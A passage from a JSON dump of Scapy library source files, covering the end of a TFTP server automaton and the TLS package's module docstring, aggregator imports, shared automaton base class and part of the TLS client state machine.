UDP(sport=self.my_tid, dport=ip.sport) / TFTP()  # noqa: E501\n        self.filename = pkt[TFTP_RRQ].filename.decode(\"utf-8\", \"ignore\")\n        self.blk = 1\n        self.data = None\n        if self.filename in self.store:\n            self.data = self.store[self.filename]\n        elif self.dir is not None:\n            fn = os.path.abspath(os.path.join(self.dir, self.filename))\n            if fn.startswith(self.dir):  # Check we're still in the server's directory  # noqa: E501\n                try:\n                    with open(fn) as fd:\n                        self.data = fd.read()\n                except IOError:\n                    pass\n        if self.data is None:\n            self.data = self.joker\n\n        if options:\n            opt = [x for x in options.options if x.oname.upper() == b\"BLKSIZE\"]\n            if opt:\n                self.blksize = int(opt[0].value)\n                self.debug(2, \"Negotiated new blksize at %i\" % self.blksize)\n            self.last_packet = self.l3 / TFTP_OACK() / TFTP_Options(options=opt)  # noqa: E501\n            self.send(self.last_packet)\n\n    @ATMT.condition(RECEIVED_RRQ)\n    def file_in_store(self):\n        if self.data is not None:\n            self.blknb = len(self.data) / self.blksize + 1\n            raise self.SEND_FILE()\n\n    @ATMT.condition(RECEIVED_RRQ)\n    def file_not_found(self):\n        if self.data is None:\n            raise self.WAIT_RRQ()\n\n    @ATMT.action(file_not_found)\n    def send_error(self):\n        self.send(self.l3 / TFTP_ERROR(\n            errorcode=1,\n            errormsg=TFTP_Error_Codes[1],\n        ))\n\n    @ATMT.state()\n    def SEND_FILE(self):\n        self.send(\n            self.l3 / TFTP_DATA(block=self.blk % 65536) /\n            self.data[(self.blk - 1) * self.blksize:self.blk * self.blksize]\n        )\n\n    @ATMT.timeout(SEND_FILE, 3)\n    def timeout_waiting_ack(self):\n        raise self.SEND_FILE()\n\n    @ATMT.receive_condition(SEND_FILE)\n    def received_ack(self, pkt):\n        if TFTP_ACK in pkt and pkt[TFTP_ACK].block == self.blk:\n            raise self.RECEIVED_ACK()\n\n    @ATMT.state()\n    def RECEIVED_ACK(self):\n        self.blk += 1\n\n    @ATMT.condition(RECEIVED_ACK)\n    def no_more_data(self):\n        if self.blk > self.blknb:\n            if self.serve_one:\n                raise self.END()\n            raise self.WAIT_RRQ()\n\n    @ATMT.condition(RECEIVED_ACK, prio=2)\n    def data_remaining(self):\n        raise self.SEND_FILE()\n\n    @ATMT.state(final=1)\n    def END(self):\n        split_bottom_up(UDP, TFTP, dport=self.my_tid)\n"
  },
  {
    "path": "scapy/layers/tls/__init__.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2007, 2008, 2009 Arnaud Ebalard <arno@natisbad.com>\n#               2015, 2016, 2017 Maxence Tury <maxence.tury@ssi.gouv.fr>\n#               2019 Romain Perez\n\n\"\"\"\nTools for handling TLS sessions and digital certificates.\nUse load_layer('tls') to load them to the main namespace.\n\nPrerequisites:\n\n    - You may need to 'pip install cryptography' for the module to be loaded.\n\n\nMain features:\n\n    - X.509 certificates parsing/building.\n\n    - RSA & ECDSA keys sign/verify methods.\n\n    - TLS records and sublayers (handshake...) parsing/building. Works with\n      versions SSLv2 to TLS 1.3. This may be enhanced by a TLS context. For\n      instance, if Scapy reads a ServerHello with version TLS 1.2 and a cipher\n      suite using AES, it will assume the presence of IVs prepending the data.\n      See test/tls.uts for real examples.\n\n    - TLS encryption/decryption capabilities with many ciphersuites, including\n      some which may be deemed dangerous. Once again, the TLS context enables\n      Scapy to transparently send/receive protected data if it learnt the\n      session secrets. Note that if Scapy acts as one side of the handshake\n      (e.g. reads all server-related packets and builds all client-related\n      packets), it will indeed compute the session secrets.\n\n    - TLS client & server basic automatons, provided for testing and tweaking\n      purposes. These make for a very primitive TLS stack.\n\n    - Additionally, a basic test PKI (key + certificate for a CA, a client and\n      a server) is provided in tls/examples/pki_test.\n\n\nUnit tests:\n\n    - Various cryptography checks.\n\n    - Reading a TLS handshake between a Firefox client and a GitHub server.\n\n    - Reading TLS 1.3 handshakes from test vectors of the 8448 RFC.\n\n    - Reading a SSLv2 handshake between s_client and s_server, without PFS.\n\n    - Test our TLS server against s_client with different cipher suites.\n\n    - Test our TLS client against our TLS server (s_server is unscriptable).\n\n    - Test our TLS client against python's SSL Socket wrapper (for TLS 1.3)\n\n\nTODO list (may it be carved away by good souls):\n\n    - Features to add (or wait for) in the cryptography library:\n\n        - the compressed EC point format.\n\n    - About the automatons:\n\n        - Allow upgrade from TLS 1.2 to TLS 1.3 in the Automaton client.\n          Currently we'll use TLS 1.3 only if the automaton client was given\n          version=\"tls13\".\n\n        - Add various checks for discrepancies between client and server.\n          Is the ServerHello ciphersuite ok? What about the SKE params? Etc.\n\n        - Add some examples which illustrate how the automatons could be used.\n          Typically, we could showcase this with Heartbleed.\n\n        - Allow the server to store both one RSA key and one ECDSA key, and\n          select the right one to use according to the ClientHello suites.\n\n\n    - Miscellaneous:\n\n        - Define several Certificate Transparency objects.\n\n        - Mostly unused features : DSS, fixed DH, SRP, char2 curves...\n\"\"\"\n\nfrom scapy.config import conf\n\nif not conf.crypto_valid:\n    import logging\n    log_loading = logging.getLogger(\"scapy.loading\")\n    log_loading.info(\"Can't import python-cryptography v2.0+. \"\n                     \"Disabled PKI & TLS crypto-related features.\")\n"
  },
  {
    "path": "scapy/layers/tls/all.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2007, 2008, 2009 Arnaud Ebalard\n#               2015, 2016, 2017 Maxence Tury\n\n\"\"\"\nAggregate top level objects from all TLS modules.\n\"\"\"\n\nfrom scapy.layers.tls.cert import *  # noqa: F401\n\nfrom scapy.layers.tls.automaton_cli import *  # noqa: F401\nfrom scapy.layers.tls.automaton_srv import *  # noqa: F401\nfrom scapy.layers.tls.extensions import *  # noqa: F401\nfrom scapy.layers.tls.handshake import *  # noqa: F401\nfrom scapy.layers.tls.handshake_sslv2 import *  # noqa: F401\nfrom scapy.layers.tls.keyexchange import *  # noqa: F401\nfrom scapy.layers.tls.keyexchange_tls13 import *  # noqa: F401\nfrom scapy.layers.tls.record import *  # noqa: F401\nfrom scapy.layers.tls.record_sslv2 import *  # noqa: F401\nfrom scapy.layers.tls.record_tls13 import *  # noqa: F401\nfrom scapy.layers.tls.session import *  # noqa: F401\n\nfrom scapy.layers.tls.crypto.all import *  # noqa: F401\n"
  },
  {
    "path": "scapy/layers/tls/automaton.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2007, 2008, 2009 Arnaud Ebalard\n#               2015, 2016, 2017 Maxence Tury\n\n\"\"\"\nThe _TLSAutomaton class provides methods common to both TLS client and server.\n\"\"\"\n\nimport select\nimport socket\nimport struct\n\nfrom scapy.automaton import Automaton\nfrom scapy.config import conf\nfrom scapy.error import log_interactive\nfrom scapy.packet import Raw\nfrom scapy.layers.tls.basefields import _tls_type\nfrom scapy.layers.tls.cert import Cert, PrivKey\nfrom scapy.layers.tls.record import TLS\nfrom scapy.layers.tls.record_sslv2 import SSLv2\nfrom scapy.layers.tls.record_tls13 import TLS13\n\n\nclass _TLSAutomaton(Automaton):\n    \"\"\"\n    SSLv3 and TLS 1.0-1.2 typically need a 2-RTT handshake:\n\n    Client        Server\n      | --------->>> |    C1 - ClientHello\n      | <<<--------- |    S1 - ServerHello\n      | <<<--------- |    S1 - Certificate\n      | <<<--------- |    S1 - ServerKeyExchange\n      | <<<--------- |    S1 - ServerHelloDone\n      | --------->>> |    C2 - ClientKeyExchange\n      | --------->>> |    C2 - ChangeCipherSpec\n      | --------->>> |    C2 - Finished [encrypted]\n      | <<<--------- |    S2 - ChangeCipherSpec\n      | <<<--------- |    S2 - Finished [encrypted]\n\n    We call these successive groups of messages:\n    ClientFlight1, ServerFlight1, ClientFlight2 and ServerFlight2.\n\n    With TLS 1.3, the handshake require only 1-RTT:\n\n    Client        Server\n      | --------->>> |    C1 - ClientHello\n      | <<<--------- |    S1 - ServerHello\n      | <<<--------- |    S1 - Certificate [encrypted]\n      | <<<--------- |    S1 - CertificateVerify [encrypted]\n      | <<<--------- |    S1 - Finished [encrypted]\n      | --------->>> |    C2 - Finished [encrypted]\n\n    We want to send our messages from the same flight all at once through the\n    socket. This is achieved by managing a list of records in 'buffer_out'.\n    We may put several messages (i.e. what RFC 5246 calls the record fragments)\n    in the same record when possible, but we may need several records for the\n    same flight, as with ClientFlight2.\n\n    However, note that the flights from the opposite side may be spread wildly\n    across TLS records and TCP packets. This is why we use a 'get_next_msg'\n    method for feeding a list of received messages, 'buffer_in'. Raw data\n    which has not yet been interpreted as a TLS record is kept in 'remain_in'.\n    \"\"\"\n\n    def __init__(self, *args, **kwargs):\n        kwargs[\"ll\"] = lambda *args, **kwargs: None\n        kwargs[\"recvsock\"] = lambda *args, **kwargs: None\n        super(_TLSAutomaton, self).__init__(*args, **kwargs)\n\n    def parse_args(self, mycert=None, mykey=None, **kargs):\n\n        self.verbose = kargs.pop(\"verbose\", True)\n\n        super(_TLSAutomaton, self).parse_args(**kargs)\n\n        self.socket = None\n        self.remain_in = b\"\"\n        self.buffer_in = []         # these are 'fragments' inside records\n        self.buffer_out = []        # these are records\n\n        self.cur_session = None\n        self.cur_pkt = None         # this is usually the latest parsed packet\n\n        if mycert:\n            self.mycert = Cert(mycert)\n        else:\n            self.mycert = None\n\n        if mykey:\n            self.mykey = PrivKey(mykey)\n        else:\n            self.mykey = None\n\n    def get_next_msg(self, socket_timeout=2, retry=2):\n        \"\"\"\n        The purpose of the function is to make next message(s) available in\n        self.buffer_in. If the list is not empty, nothing is done. If not, in\n        order to fill it, the function uses the data already available in\n        self.remain_in from a previous call and waits till there are enough to\n        dissect a TLS packet. Once dissected, the content of the TLS packet\n        (carried messages, or 'fragments') is appended to self.buffer_in.\n\n        We have to grab enough data to dissect a TLS packet. We start by\n        reading the first 2 bytes. Unless we get anything different from\n        \\\\x14\\\\x03, \\\\x15\\\\x03, \\\\x16\\\\x03 or \\\\x17\\\\x03 (which might indicate\n        an SSLv2 record, whose first 2 bytes encode the length), we retrieve\n        3 more bytes in order to get the length of the TLS record, and\n        finally we can retrieve the remaining of the record.\n        \"\"\"\n        if self.buffer_in:\n            # A message is already available.\n            return\n\n        is_sslv2_msg = False\n        still_getting_len = True\n        grablen = 2\n        while retry and (still_getting_len or len(self.remain_in) < grablen):\n            if not is_sslv2_msg and grablen == 5 and len(self.remain_in) >= 5:\n                grablen = struct.unpack('!H', self.remain_in[3:5])[0] + 5\n                still_getting_len = False\n            elif grablen == 2 and len(self.remain_in) >= 2:\n                byte0, byte1 = struct.unpack(\"BB\", self.remain_in[:2])\n                if (byte0 in _tls_type) and (byte1 == 3):\n                    # Retry following TLS scheme. This will cause failure\n                    # for SSLv2 packets with length 0x1{4-7}03.\n                    grablen = 5\n                else:\n                    # Extract the SSLv2 length.\n                    is_sslv2_msg = True\n                    still_getting_len = False\n                    if byte0 & 0x80:\n                        grablen = 2 + 0 + ((byte0 & 0x7f) << 8) + byte1\n                    else:\n                        grablen = 2 + 1 + ((byte0 & 0x3f) << 8) + byte1\n            elif not is_sslv2_msg and grablen == 5 and len(self.remain_in) >= 5:  # noqa: E501\n                grablen = struct.unpack('!H', self.remain_in[3:5])[0] + 5\n\n            if grablen == len(self.remain_in):\n                break\n\n            final = False\n            try:\n                tmp, _, _ = select.select([self.socket], [], [],\n                                          socket_timeout)\n                if not tmp:\n                    retry -= 1\n                else:\n                    data = tmp[0].recv(grablen - len(self.remain_in))\n                    if not data:\n                        # Socket peer was closed\n                        self.vprint(\"Peer socket closed !\")\n                        final = True\n                    else:\n                        self.remain_in += data\n            except Exception as ex:\n                if not isinstance(ex, socket.timeout):\n                    self.vprint(\"Could not join host (%s) ! Retrying...\" % ex)\n                retry -= 1\n            else:\n                if final:\n                    raise self.SOCKET_CLOSED()\n\n        if len(self.remain_in) < 2 or len(self.remain_in) != grablen:\n            # Remote peer is not willing to respond\n            return\n\n        if (byte0 == 0x17 and\n                (self.cur_session.advertised_tls_version >= 0x0304 or\n                 self.cur_session.tls_version >= 0x0304)):\n            p = TLS13(self.remain_in, tls_session=self.cur_session)\n            self.remain_in = b\"\"\n            self.buffer_in += p.inner.msg\n        else:\n            p = TLS(self.remain_in, tls_session=self.cur_session)\n            self.cur_session = p.tls_session\n            self.remain_in = b\"\"\n            if isinstance(p, SSLv2) and not p.msg:\n                p.msg = Raw(\"\")\n            if self.cur_session.tls_version is None or \\\n               self.cur_session.tls_version < 0x0304:\n                self.buffer_in += p.msg\n            else:\n                if isinstance(p, TLS13):\n                    self.buffer_in += p.inner.msg\n                else:\n                    # should be TLS13ServerHello only\n                    self.buffer_in += p.msg\n\n        while p.payload:\n            if isinstance(p.payload, Raw):\n                self.remain_in += p.payload.load\n                p = p.payload\n            elif isinstance(p.payload, TLS):\n                p = p.payload\n                if self.cur_session.tls_version is None or \\\n                   self.cur_session.tls_version < 0x0304:\n                    self.buffer_in += p.msg\n                else:\n                    self.buffer_in += p.inner.msg\n            else:\n                p = p.payload\n\n    def raise_on_packet(self, pkt_cls, state, get_next_msg=True):\n        \"\"\"\n        If the next message to be processed has type 'pkt_cls', raise 'state'.\n        If there is no message waiting to be processed, we try to get one with\n        the default 'get_next_msg' parameters.\n        \"\"\"\n        # Maybe we already parsed the expected packet, maybe not.\n        if get_next_msg:\n            self.get_next_msg()\n        if (not self.buffer_in or\n                not isinstance(self.buffer_in[0], pkt_cls)):\n            return\n        self.cur_pkt = self.buffer_in[0]\n        self.buffer_in = self.buffer_in[1:]\n        raise state()\n\n    def in_handshake(self, pkt_cls):\n        \"\"\"\n        Return True if the pkt_cls was present during the handshake.\n        This is used to detect whether Certificates were requested, etc.\n        \"\"\"\n        return any(\n            isinstance(m, pkt_cls)\n            for m in self.cur_session.handshake_messages_parsed\n        )\n\n    def add_record(self, is_sslv2=None, is_tls13=None, is_tls12=None):\n        \"\"\"\n        Add a new TLS or SSLv2 or TLS 1.3 record to the packets buffered out.\n        \"\"\"\n        if is_sslv2 is None and is_tls13 is None and is_tls12 is None:\n            v = (self.cur_session.tls_version or\n                 self.cur_session.advertised_tls_version)\n            if v in [0x0200, 0x0002]:\n                is_sslv2 = True\n            elif v >= 0x0304:\n                is_tls13 = True\n        if is_sslv2:\n            self.buffer_out.append(SSLv2(tls_session=self.cur_session))\n        elif is_tls13:\n            self.buffer_out.append(TLS13(tls_session=self.cur_session))\n        # For TLS 1.3 middlebox compatibility, TLS record version must\n        # be 0x0303\n        elif is_tls12:\n            self.buffer_out.append(TLS(version=\"TLS 1.2\",\n                                       tls_session=self.cur_session))\n        else:\n            self.buffer_out.append(TLS(tls_session=self.cur_session))\n\n    def add_msg(self, pkt):\n        \"\"\"\n        Add a TLS message (e.g. TLSClientHello or TLSApplicationData)\n        inside the latest record to be sent through the socket.\n        We believe a good automaton should not use the first test.\n        \"\"\"\n        if not self.buffer_out:\n            self.add_record()\n        r = self.buffer_out[-1]\n        if isinstance(r, TLS13):\n            self.buffer_out[-1].inner.msg.append(pkt)\n        else:\n            self.buffer_out[-1].msg.append(pkt)\n\n    def flush_records(self):\n        \"\"\"\n        Send all buffered records and update the session accordingly.\n        \"\"\"\n        s = b\"\".join(p.raw_stateful() for p in self.buffer_out)\n        self.socket.send(s)\n        self.buffer_out = []\n\n    def vprint(self, s=\"\"):\n        if self.verbose:\n            if conf.interactive:\n                log_interactive.info(\"> %s\", s)\n            else:\n                print(\"> %s\" % s)\n"
  },
  {
    "path": "scapy/layers/tls/automaton_cli.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2007, 2008, 2009 Arnaud Ebalard\n#               2015, 2016, 2017 Maxence Tury\n#               2019 Romain Perez\n\n\"\"\"\nTLS client automaton. This makes for a primitive TLS stack.\nObviously you need rights for network access.\n\nWe support versions SSLv2 to TLS 1.3, along with many features.\n\nIn order to run a client to tcp/50000 with one cipher suite of your choice::\n\n    from scapy.layers.tls import *\n    ch = TLSClientHello(ciphers=<int code of the cipher suite>)\n    t = TLSClientAutomaton(dport=50000, client_hello=ch)\n    t.run()\n\nYou can also use it as a SuperSocket using the ``tlslink`` io::\n\n    from scapy.layers.tls import *\n    a = TLSClientAutomaton.tlslink(Raw, server=\"scapy.net\", dport=443)\n    a.send(HTTP()/HTTPRequest())\n    while True:\n        a.recv()\n\nYou can also use the io with a TCPSession, e.g. to get an HTTPS answer::\n\n    from scapy.all import *\n    from scapy.layers.http import *\n    from scapy.layers.tls.automaton_cli import *\n    a = TLSClientAutomaton.tlslink(HTTP, server=\"www.google.com\", dport=443)\n    pkt = a.sr1(HTTP()/HTTPRequest(), session=TCPSession(app=True),\n                timeout=2)\n\"\"\"\n\nimport socket\nimport binascii\nimport struct\nimport time\n\nfrom scapy.config import conf\nfrom scapy.utils import randstring, repr_hex\nfrom scapy.automaton import ATMT, select_objects\nfrom scapy.error import warning\nfrom scapy.layers.tls.automaton import _TLSAutomaton\nfrom scapy.layers.tls.basefields import _tls_version, _tls_version_options\nfrom scapy.layers.tls.session import tlsSession\nfrom scapy.layers.tls.extensions import (\n    ServerName,\n    TLS_Ext_PSKKeyExchangeModes,\n    TLS_Ext_PostHandshakeAuth,\n    TLS_Ext_ServerName,\n    TLS_Ext_SignatureAlgorithms,\n    TLS_Ext_SupportedGroups,\n    TLS_Ext_SupportedVersion_CH,\n    TLS_Ext_SupportedVersion_SH,\n)\nfrom scapy.layers.tls.handshake import TLSCertificate, TLSCertificateRequest, \\\n    TLSCertificateVerify, TLSClientHello, TLSClientKeyExchange, \\\n    TLSEncryptedExtensions, TLSFinished, TLSServerHello, TLSServerHelloDone, \\\n    TLSServerKeyExchange, TLS13Certificate, TLS13ClientHello,  \\\n    TLS13ServerHello, TLS13HelloRetryRequest, TLS13CertificateRequest, \\\n    _ASN1CertAndExt, TLS13KeyUpdate, TLS13NewSessionTicket\nfrom scapy.layers.tls.handshake_sslv2 import SSLv2ClientHello, \\\n    SSLv2ServerHello, SSLv2ClientMasterKey, SSLv2ServerVerify, \\\n    SSLv2ClientFinished, SSLv2ServerFinished, SSLv2ClientCertificate, \\\n    SSLv2RequestCertificate\nfrom scapy.layers.tls.keyexchange_tls13 import TLS_Ext_KeyShare_CH, \\\n    KeyShareEntry, TLS_Ext_KeyShare_HRR, PSKIdentity, PSKBinderEntry, \\\n    TLS_Ext_PreSharedKey_CH\nfrom scapy.layers.tls.record import TLSAlert, TLSChangeCipherSpec, \\\n    TLSApplicationData\nfrom scapy.layers.tls.crypto.suites import _tls_cipher_suites, \\\n    _tls_cipher_suites_cls\nfrom scapy.layers.tls.crypto.groups import _tls_named_groups\nfrom scapy.layers.tls.crypto.hkdf import TLS13_HKDF\nfrom scapy.packet import Raw\nfrom scapy.compat import bytes_encode\n\n# Typing imports\nfrom typing import (\n    Optional,\n)\n\n\nclass TLSClientAutomaton(_TLSAutomaton):\n    \"\"\"\n    A simple TLS test client automaton. Try to overload some states or\n    conditions and see what happens on the other side.\n\n    Rather than with an interruption, the best way to stop this client is by\n    typing 'quit'. This won't be a message sent to the server.\n\n    :param server: the server IP or hostname. defaults to 127.0.0.1\n    :param dport: the server port. defaults to 4433\n    :param server_name: the SNI to use. It does not need to be set\n    :param mycert:\n    :param mykey: may be provided as filenames. They will be used in the (or post)\n        handshake, should the server ask for client authentication.\n    :param client_hello: may hold a TLSClientHello, TLS13ClientHello or\n        SSLv2ClientHello to be sent to the server. This is particularly useful\n        for extensions tweaking. If not set, a default is populated accordingly.\n    :param version: is a quicker way to advertise a protocol version (\"sslv2\",\n        \"tls1\", \"tls12\", \"tls13\", etc.) It may be overridden by the previous\n        'client_hello'.\n    :param session_ticket_file_in: path to a file that contains a session ticket\n        acquired in a previous session.\n    :param session_ticket_file_out: path to store any session ticket acquired during\n        this session.\n    :param data: is a list of raw data to be sent to the server once the\n        handshake has been completed. Both 'stop_server' and 'quit' will\n        work this way.\n    \"\"\"\n\n    def parse_args(self, server=\"127.0.0.1\", dport=4433, server_name=None,\n                   mycert=None, mykey=None,\n                   client_hello=None, version=None,\n                   resumption_master_secret=None,\n                   session_ticket_file_in=None,\n                   session_ticket_file_out=None,\n                   psk=None, psk_mode=None,\n                   data=None,\n                   ciphersuite: Optional[int] = None,\n                   curve: Optional[str] = None,\n                   supported_groups=None,\n                   supported_signature_algorithms=None,\n                   **kargs):\n\n        super(TLSClientAutomaton, self).parse_args(mycert=mycert,\n                                                   mykey=mykey,\n                                                   **kargs)\n        tmp = socket.getaddrinfo(server, dport)\n        self.remote_family = tmp[0][0]\n        self.remote_ip = tmp[0][4][0]\n        self.remote_port = dport\n        self.server_name = server_name\n        self.local_ip = None\n        self.local_port = None\n        self.socket = None\n\n        if isinstance(client_hello, (SSLv2ClientHello, TLSClientHello,\n                                     TLS13ClientHello)):\n            self.client_hello = client_hello\n        else:\n            self.client_hello = None\n        self.advertised_tls_version = None\n        if version:\n            v = _tls_version_options.get(version, None)\n            if not v:\n                self.vprint(\"Unrecognized TLS version option.\")\n            else:\n                self.advertised_tls_version = v\n\n        self.linebreak = False\n        if isinstance(data, bytes):\n            self.data_to_send = [data]\n        elif isinstance(data, str):\n            self.data_to_send = [bytes_encode(data)]\n        elif isinstance(data, list):\n            self.data_to_send = list(bytes_encode(d) for d in reversed(data))\n        else:\n            self.data_to_send = []\n\n        if supported_groups is None:\n            supported_groups = [\"secp256r1\", \"secp384r1\", \"x448\"]\n            if conf.crypto_valid_advanced:\n                supported_groups.extend([\n                    \"x25519\",\n                    \"ffdhe2048\",\n                ])\n        self.supported_groups = supported_groups\n\n        if supported_signature_algorithms is None:\n            supported_signature_algorithms = [\n                \"sha256+rsaepss\",\n                \"sha256+rsa\",\n                \"ed25519\",\n                \"ed448\",\n            ]\n        self.supported_signature_algorithms = supported_signature_algorithms\n\n        self.curve = None\n        self.ciphersuite = None\n\n        if ciphersuite is not None:\n            if ciphersuite in _tls_cipher_suites.keys():\n                self.ciphersuite = ciphersuite\n            else:\n                self.vprint(\"Unrecognized cipher suite.\")\n\n        if self.advertised_tls_version == 0x0304:\n            if conf.crypto_valid_advanced:\n                # Default to x25519 if supported\n                self.curve = 29\n            else:\n                # Or secp256r1 otherwise\n                self.curve = 23\n            self.resumption_master_secret = resumption_master_secret\n            self.session_ticket_file_in = session_ticket_file_in\n            self.session_ticket_file_out = session_ticket_file_out\n            self.tls13_psk_secret = psk\n            self.tls13_psk_mode = psk_mode\n            self.tls13_doing_client_postauth = False\n            if curve is not None:\n                for (group_id, ng) in _tls_named_groups.items():\n                    if ng == curve:\n                        if curve == \"x25519\":\n                            if conf.crypto_valid_advanced:\n                                self.curve = group_id\n                        else:\n                            self.curve = group_id\n\n    def vprint_sessioninfo(self):\n        if self.verbose:\n            s = self.cur_session\n            v = _tls_version[s.tls_version]\n            self.vprint(\"Version         : %s\" % v)\n            cs = s.wcs.ciphersuite.name\n            self.vprint(\"Cipher suite    : %s\" % cs)\n            kx_groupname = s.kx_group\n            self.vprint(\"Server temp key : %s\" % kx_groupname)\n            if s.tls_version >= 0x0304:\n                ms = s.tls13_master_secret\n            else:\n                ms = s.master_secret\n            self.vprint(\"Master secret   : %s\" % repr_hex(ms))\n            if s.server_certs:\n                self.vprint(\"Server certificate chain: %r\" % s.server_certs)\n            if s.tls_version >= 0x0304:\n                res_secret = s.tls13_derived_secrets[\"resumption_secret\"]\n                self.vprint(\"Resumption master secret : %s\" %\n                            repr_hex(res_secret))\n            self.vprint()\n\n    @ATMT.state(initial=True)\n    def INITIAL(self):\n        self.vprint(\"Starting TLS client automaton.\")\n        raise self.INIT_TLS_SESSION()\n\n    @ATMT.ioevent(INITIAL, name=\"tls\", as_supersocket=\"tlslink\")\n    def _socket(self, fd):\n        pass\n\n    @ATMT.state()\n    def INIT_TLS_SESSION(self):\n        self.cur_session = tlsSession(connection_end=\"client\")\n        s = self.cur_session\n        s.client_certs = self.mycert\n        s.client_key = self.mykey\n        v = self.advertised_tls_version\n        if v:\n            s.advertised_tls_version = v\n        else:\n            default_version = s.advertised_tls_version\n            self.advertised_tls_version = default_version\n\n        if s.advertised_tls_version >= 0x0304:\n            # For out of band PSK, the PSK is given as an argument\n            # to the automaton\n            if self.tls13_psk_secret:\n                s.tls13_psk_secret = binascii.unhexlify(self.tls13_psk_secret)\n\n            # For resumed PSK, the PSK is computed from\n            if self.session_ticket_file_in:\n                with open(self.session_ticket_file_in, 'rb') as f:\n\n                    resumed_ciphersuite_len = struct.unpack(\"B\", f.read(1))[0]\n                    s.tls13_ticket_ciphersuite = \\\n                        struct.unpack(\"!H\", f.read(resumed_ciphersuite_len))[0]\n\n                    ticket_nonce_len = struct.unpack(\"B\", f.read(1))[0]\n                    # XXX add client_session_nonce member in tlsSession\n                    s.client_session_nonce = f.read(ticket_nonce_len)\n\n                    client_ticket_age_len = struct.unpack(\"!H\", f.read(2))[0]\n                    tmp = f.read(client_ticket_age_len)\n                    s.client_ticket_age = struct.unpack(\"!I\", tmp)[0]\n\n                    client_ticket_age_add_len = struct.unpack(\n                        \"!H\", f.read(2))[0]\n                    tmp = f.read(client_ticket_age_add_len)\n                    s.client_session_ticket_age_add = struct.unpack(\n                        \"!I\", tmp)[0]\n\n                    ticket_len = struct.unpack(\"!H\", f.read(2))[0]\n                    s.client_session_ticket = f.read(ticket_len)\n\n                if self.resumption_master_secret:\n\n                    if s.tls13_ticket_ciphersuite not in _tls_cipher_suites_cls:  # noqa: E501\n                        warning(\"Unknown cipher suite %d\", s.tls13_ticket_ciphersuite)  # noqa: E501\n                        # we do not try to set a default nor stop the execution\n                    else:\n                        cs_cls = _tls_cipher_suites_cls[s.tls13_ticket_ciphersuite]  # noqa: E501\n\n                    hkdf = TLS13_HKDF(cs_cls.hash_alg.name.lower())\n                    hash_len = hkdf.hash.digest_size\n\n                    s.tls13_psk_secret = hkdf.expand_label(binascii.unhexlify(self.resumption_master_secret),  # noqa: E501\n                                                           b\"resumption\",\n                                                           s.client_session_nonce,  # noqa: E501\n                                                           hash_len)\n        raise self.CONNECT()\n\n    @ATMT.state()\n    def CONNECT(self):\n        s = socket.socket(self.remote_family, socket.SOCK_STREAM)\n        self.vprint()\n        self.vprint(\"Trying to connect on %s:%d\" % (self.remote_ip,\n                                                    self.remote_port))\n        s.connect((self.remote_ip, self.remote_port))\n        self.socket = s\n        self.local_ip, self.local_port = self.socket.getsockname()[:2]\n        self.vprint()\n        if self.cur_session.advertised_tls_version in [0x0200, 0x0002]:\n            raise self.SSLv2_PREPARE_CLIENTHELLO()\n        elif self.cur_session.advertised_tls_version >= 0x0304:\n            raise self.TLS13_START()\n        else:\n            raise self.PREPARE_CLIENTFLIGHT1()\n\n    #                           TLS handshake                                 #\n\n    @ATMT.state()\n    def PREPARE_CLIENTFLIGHT1(self):\n        self.add_record()\n\n    @ATMT.condition(PREPARE_CLIENTFLIGHT1)\n    def should_add_ClientHello(self):\n        if self.client_hello:\n            p = self.client_hello\n        else:\n            p = TLSClientHello(ciphers=self.ciphersuite)\n            ext = []\n            # Add TLS_Ext_SignatureAlgorithms for TLS 1.2 ClientHello\n            if self.cur_session.advertised_tls_version == 0x0303:\n                ext += [TLS_Ext_SignatureAlgorithms(\n                    sig_algs=self.supported_signature_algorithms,\n                )]\n            # Add TLS_Ext_ServerName\n            if self.server_name:\n                ext += TLS_Ext_ServerName(\n                    servernames=[ServerName(servername=self.server_name)]\n                )\n            p.ext = ext\n        self.add_msg(p)\n        raise self.ADDED_CLIENTHELLO()\n\n    @ATMT.state()\n    def ADDED_CLIENTHELLO(self):\n        pass\n\n    @ATMT.condition(ADDED_CLIENTHELLO)\n    def should_send_ClientFlight1(self):\n        self.flush_records()\n        raise self.SENT_CLIENTFLIGHT1()\n\n    @ATMT.state()\n    def SENT_CLIENTFLIGHT1(self):\n        raise self.WAITING_SERVERFLIGHT1()\n\n    @ATMT.state()\n    def WAITING_SERVERFLIGHT1(self):\n        self.get_next_msg()\n        raise self.RECEIVED_SERVERFLIGHT1()\n\n    @ATMT.state()\n    def RECEIVED_SERVERFLIGHT1(self):\n        pass\n\n    @ATMT.condition(RECEIVED_SERVERFLIGHT1, prio=1)\n    def should_handle_ServerHello(self):\n        \"\"\"\n        XXX We should check the ServerHello attributes for discrepancies with\n        our own ClientHello.\n        \"\"\"\n        self.raise_on_packet(TLSServerHello,\n                             self.HANDLED_SERVERHELLO)\n\n    @ATMT.state()\n    def HANDLED_SERVERHELLO(self):\n        pass\n\n    @ATMT.condition(RECEIVED_SERVERFLIGHT1, prio=2)\n    def missing_ServerHello(self):\n        raise self.MISSING_SERVERHELLO()\n\n    @ATMT.state()\n    def MISSING_SERVERHELLO(self):\n        self.vprint(\"Missing TLS ServerHello message!\")\n        raise self.CLOSE_NOTIFY()\n\n    @ATMT.condition(HANDLED_SERVERHELLO, prio=1)\n    def should_handle_ServerCertificate(self):\n        if not self.cur_session.prcs.key_exchange.anonymous:\n            self.raise_on_packet(TLSCertificate,\n                                 self.HANDLED_SERVERCERTIFICATE)\n        raise self.HANDLED_SERVERCERTIFICATE()\n\n    @ATMT.state()\n    def HANDLED_SERVERCERTIFICATE(self):\n        pass\n\n    @ATMT.condition(HANDLED_SERVERHELLO, prio=2)\n    def missing_ServerCertificate(self):\n        raise self.MISSING_SERVERCERTIFICATE()\n\n    @ATMT.state()\n    def MISSING_SERVERCERTIFICATE(self):\n        self.vprint(\"Missing TLS Certificate message!\")\n        raise self.CLOSE_NOTIFY()\n\n    @ATMT.state()\n    def HANDLED_CERTIFICATEREQUEST(self):\n        self.vprint(\"Server asked for a certificate...\")\n        if not self.mykey or not self.mycert:\n            self.vprint(\"No client certificate to send!\")\n            self.vprint(\"Will try 